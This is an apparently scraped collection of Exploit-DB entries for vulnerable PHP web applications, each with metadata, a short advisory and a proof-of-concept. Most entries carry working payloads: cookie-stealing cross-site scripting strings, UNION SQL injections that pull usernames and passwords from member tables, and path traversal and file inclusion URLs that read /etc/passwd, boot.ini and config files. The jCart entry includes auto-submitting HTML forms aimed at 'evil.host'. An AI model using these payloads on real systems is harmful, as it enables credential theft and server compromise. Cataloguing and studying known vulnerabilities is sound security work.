deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26083
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - 'sign_in.php?language' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14481/info
  
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/newsletter/sign_in.php?do=sign_in&language=german[XSS-CODE]&ml_id=1&ml_id=1
Exploit-DB #26093
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - formmailer.log User Sent Mail Disclosure
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14482/info
            
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
            
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/petitionbook/formmailer.log
Exploit-DB #26089
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - Guestbook File Client IP Disclosure
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14482/info
        
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
        
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/guestbook/guestbook
Exploit-DB #26090
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - guestbook_ips2block Banned IP List Disclosure
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14482/info
         
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
         
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/guestbook/guestbook_ips2block
Exploit-DB #26094
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - ips2block Banned IP Disclosure
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14482/info
             
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
             
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/petitionbook/ips2block
Exploit-DB #26091
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - ips2block Banned IP List Disclosure
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14482/info
          
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
          
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/guestbook/ips2block
Exploit-DB #26097
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - jnl_records User Database Disclosure
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14482/info
                
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
                
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/newsletter/logs/jnl_records
Exploit-DB #26092
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - logfile.csv User IP Disclosure
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14482/info
           
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
           
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/guestbook/formmailer/logfile.csv
Exploit-DB #26096
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - suggestions.csv User IP Disclosure
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14482/info
               
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
               
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/linklists/suggestions.csv
Exploit-DB #26095
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 petitionbook Script - User IP Disclosure
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14482/info
              
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
              
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/petitionbook/petitionbook
Exploit-DB #11359
Description: JaxCMS 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-02-08
Author: Hamza 'MizoZ' N.

Exploit:
/*

Name : JaxCMS (p) Local File Include
WebSite : http://www.pixiescripts.com/

Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com<mailto:mizozx@gmail.com>

Greetz : Zuka !

*/

The vulnerability is in the get $_GET['p'] , the index.php include '/pages/'.$_GET['p'].'.php'

So we can read any file in the server .

EXPLOIT :

http://server/[JaxCMS PATH]/index.php?p=[LFI]%00
Exploit-DB #5877
Description: jaxultrabb 2.0 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-20
Author: CWH Underground

Exploit:
===============================================================
  JaxUltraBB <= 2.0 (LFI/XSS) Multiple Remote Vulnerabilities
===============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 20 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : JaxUltraBB
 VERSION     : <= 2.0
 DOWNLOAD    : http://downloads.sourceforge.net/jubb/
#####################################################

--- Local File Inclusion ---

-----------------------------------
 Vulnerable File [viewprofile.php]
-----------------------------------
@Line 8-9

   8: $userfile = file_get_contents("users/".$_GET['user'].".JaxSQL");
   9: $onlinefile = file_get_contents("users/".$_GET['user']."online.JaxSQL");

--------------
 POC Exploits
--------------

[+] http://192.168.24.25/jubb/viewprofile.php?user=../../../../../../../../boot.ini%00


    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.


--- Remote XSS Exploit ---

---------------------------------
 Vulnerable File [viewforum.php]
---------------------------------

@Line 

  14: $forum = $_GET['forum'];

  15: online_moved("Viewing ".$_GET['forum']);

  17: $forumfile = fopen("topics/".$forum."topics.JaxSQL", "at");
  18: $topicsfile = file_get_contents("topics/".$forum."topics.JaxSQL", "at");
  19: echo "<br><br><br><table><td background='img/header1.jpg' width='1000' align='center'>$forum</td><tr><td bgColor='darkblue'>";

---------
 Exploit
---------

[+] http://[Target]/[jubb_path]/viewforum.php?forum=<XSS>

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-20]
Exploit-DB #33422
Description: JBC Explorer 7.20 - 'arbre.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-20
Author: Metropolis

Exploit:
source: https://www.securityfocus.com/bid/37423/info

JBC Explorer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

JBC Explorer 7.20 is vulnerable; other versions may also be affected.

http://www.example.com/album/dirsys/arbre.php?0=search&last=1<body+onload=alert(document.cookie)>
Exploit-DB #15416
Description: JBI CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-04
Author: Cru3l.b0y

Exploit:
In The Name Of GOD
[+] Exploit Title: JBI CMS SQL Injection Vulnerability
[+] Date: 2010-11-04
[+] Author  : Cru3l.b0y
[+] Software Link: http://www.jamesblakeinternet.com/london/cms
[+] Tested on: Ubuntu 10.10
[+] Contact : Cru3l.b0y@gmail.com
[+] Website : WwW.PenTesters.IR
[+] Greeting: Behzad, Ahmad, ...

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[+] Exploit : 

             http://target/path/news_details.php?id=-1+union+select+1,2,3,group_concat(name,0x3a,password),5,6,7+from+tbl_members
			    
Login page for members : /member.php
Login page for Admins  : /admin
Exploit-DB #27584
Description: JBook 1.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-10
Author: Psych0

Exploit:
source: https://www.securityfocus.com/bid/17419/info

JBook is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

JBook 1.3 is reported vulnerable. Other versions may be affected as well.

http://www.example.com/path/index.php?page=[xsscode]
Exploit-DB #23618
Description: JBrowser 1.0/2.x - 'browser.php' Directory Traversal
Type: webapps
Platform: php
Date: 2004-01-30
Author: Himeur Nourredine

Exploit:
source: https://www.securityfocus.com/bid/9535/info

JBrowser has been reported to be vulnerable to directory traversal vulnerability that may allow a remote attacker to gain access to files readable by the web-server that reside outside of the server root directory. This issue is caused by insufficient sanitization of user specified directory paramemters issued to the 'browser.php' script.

http://www.example.org/browser.php?directory=[ATTACKER_SPECIFIED_PATH]
Exploit-DB #23628
Description: JBrowser 1.0/2.x - Unauthorized Admin Access
Type: webapps
Platform: php
Date: 2004-01-30
Author: Himeur Nourredine

Exploit:
source: https://www.securityfocus.com/bid/9537/info

Due to a lack of access validation to the '_admin' directory, malevolent users may be able to execute arbitrary admin scripts. This may allow a malicious user to upload arbitrary files to the affected system and gain access to files outside of the web server root directory. There may also be other consequences associated with this vulnerability. 

http://www.example.org/_admin/
http://www.example.org/_admin/list_all.php?folder=../
http://www.example.org/_admin/upload.php
Exploit-DB #18056
Description: jbShop e107 7 CMS Plugin - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-31
Author: Robert Cooper

Exploit:
# Exploit Title: jbShop - e107 v7 CMS plugin - SQL Injection vulnerability
# Author: Robert Cooper (admin[at]websiteauditing.org)
# Software Link: http://sourceforge.net/projects/jbshop/
# Tested on: [Linux/Windows 7]
#Vulnerable Parameter:
 
item_id=

 
##############################################################
PoC:
 
http://www.example.com//plugins/jbshop/jbshop.php?item_details=1&item_id=-1 union all select group_concat(user_loginname,0x3a,user_password,0x3a,user_admin),2,3,4,5,6,7,8,9,10,11,12,13,14 FROM e107_user--

 
##############################################################
www.websiteauditing.org
www.areyousecure.net
 
# Shouts to the Belegit crew
Exploit-DB #15171
Description: jCart 1.1 - Multiple Cross-Site Scripting / Cross-Site Request Forgery/Open Redirect Vulnerabilities
Type: webapps
Platform: php
Date: 2010-10-01
Author: p0deje

Exploit:
<!-- 
     Exploit Title: jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities
     Date: 25.07.2010
     Author: p0deje
     Software Link: http://conceptlogic.com/jcart/
     Version: <=1.1
     Tested on: OS Independent
     CVE : --
-->

<!-- 1. Cross-site Scripting -->

<!--  
      Vulnerable code snippet:
      jcart.php
      -------------------------
      line 251:        $item_name = $_POST[$item_name];
      ...
      line 256:        $item_added = $this->add_item($item_id, $item_qty, $item_price, $item_name);
      -------------------------

      User-supplied input for variable $item_name isn't properly escaped.

      Proof-of-Concept:
-->
      <html>
        <form action="http://evil.host/jcart-1.1/jcart/jcart-relay.php" method="POST">
          <input name="my-item-id" value="3" type="hidden">
          <input name="my-item-qty" value="1" type="hidden">
          <input name="my-item-name" value="<script>alert(document.cookie)</script>" type="hidden">
          <input name="my-item-price" value="33.25" type="hidden">
          <input id="payload" name="my-add-button" value="add to cart" class="button" type="submit">
          </form>
          <script>
            document.getElementById('payload').click()
        </script>
      </html>

<!--  2. Cross-site Scripting / Open Redirect -->

<!--
      Vulnerable code snippet 
      jcart-gateway.php:
      -------------------------
      line 41:    header('Location: ' . $_POST['jcart_checkout_page']);
      -------------------------

      User-supplied data is not properly escaped before passing to header() function.

      Proof-of-Concept:
-->
      <html>
        <form action="http://evil.host/jcart-1.1/jcart/jcart-gateway.php" method="POST">
          <input name="jcart_checkout_page" value="http://www.google.com" type="hidden">
          <input id="payload" name="my-add-button" value="add to cart" class="button" type="submit">
          </form>
          <script>
            document.getElementById('payload').click()
        </script>
      </html>

<!--  3. Cross-site Request Forgery -->

<!--
      All requests of jCart are vulnerable to CSRF.
      Proof-of-Concept goes the same as for the first or the second vulnerability.
-->
Exploit-DB #29722
Description: JCCorp URLShrink Free 1.3.1 - 'CreateURL.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-09
Author: Hasadya Raed

Exploit:
source: https://www.securityfocus.com/bid/22894/info

URLshrink Free is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/Path_Script/createurl.php?formurl=[Shell-Attack]
Exploit-DB #34887
Description: JCE-Tech PHP Video Script - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-26
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/44269/info

JCE-Tech PHP Video Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?key="><script>alert(document.cookie);</script>
Exploit-DB #34884
Description: JCE-Tech SearchFeed Script - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-26
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/44266/info

JCE-Tech SearchFeed Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

 http://www.example.com/index.php?search="><script>alert(document.cookie);</script>
Exploit-DB #3773
Description: JChit counter 1.0.0 - 'imgsrv.php?ac' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-04-22
Author: Dj7xpl

Exploit:
                                                     Y! Underground Group
						        http://2600.ir

								
								
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

Portal.......:   jchit counter v1.0.0
Download.....:   http://developers.jccorp.net
Type.........:   Remote File Disclosure Vulnerability
Author.......:   Dj7xpl / dj7xpl@2600.ir
HomePage.....:   http://Dj7xpl.2600.ir

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

Bug..........:

imgsrv.php?acc=[Local File]%00
imgsrv.php?acc=../../../../../etc/passwd%00
imgsrv.php?acc=../config.php%00

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-22]
Exploit-DB #37950
Description: jCore - '/admin/index.php?path' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-10-17
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/56102/info

jCore is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

jCore 1.0pre and prior versions are vulnerable. 

http://www.example.com/admin/?path=%27%20onmouseover%3dalert%28document.cookie%29%20%27
Exploit-DB #10531
Description: jCore CMS - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-17
Author: loneferret

Exploit:
Found: loneferret
Vendor: jCore
Site: http://www.jcore.net/home
Software link: http://www.jcore.net/downloads

Search page is vulnerable to cross-site scripting.

Exploit:
http://server/modules/search?search=[xss here]
http://server/modules/search?search=</a>[xss here]

Example:
The result page will screw up. Hit the back button and you newly created
submit input type will be there. Fully functional.
http://server/modules/search?search=</a><input value="xss" onclick="alert(1)" type="submit">
Exploit-DB #17297
Description: Jcow 4.2.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-05-16
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................Jcow 4.2.1
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.jcow.net/
Discovery Date..........5/12/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in Jcow 4.2.1 can be exploited to
include arbitrary files.


--PoC--

http://localhost/jcow/index.php?p=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini%00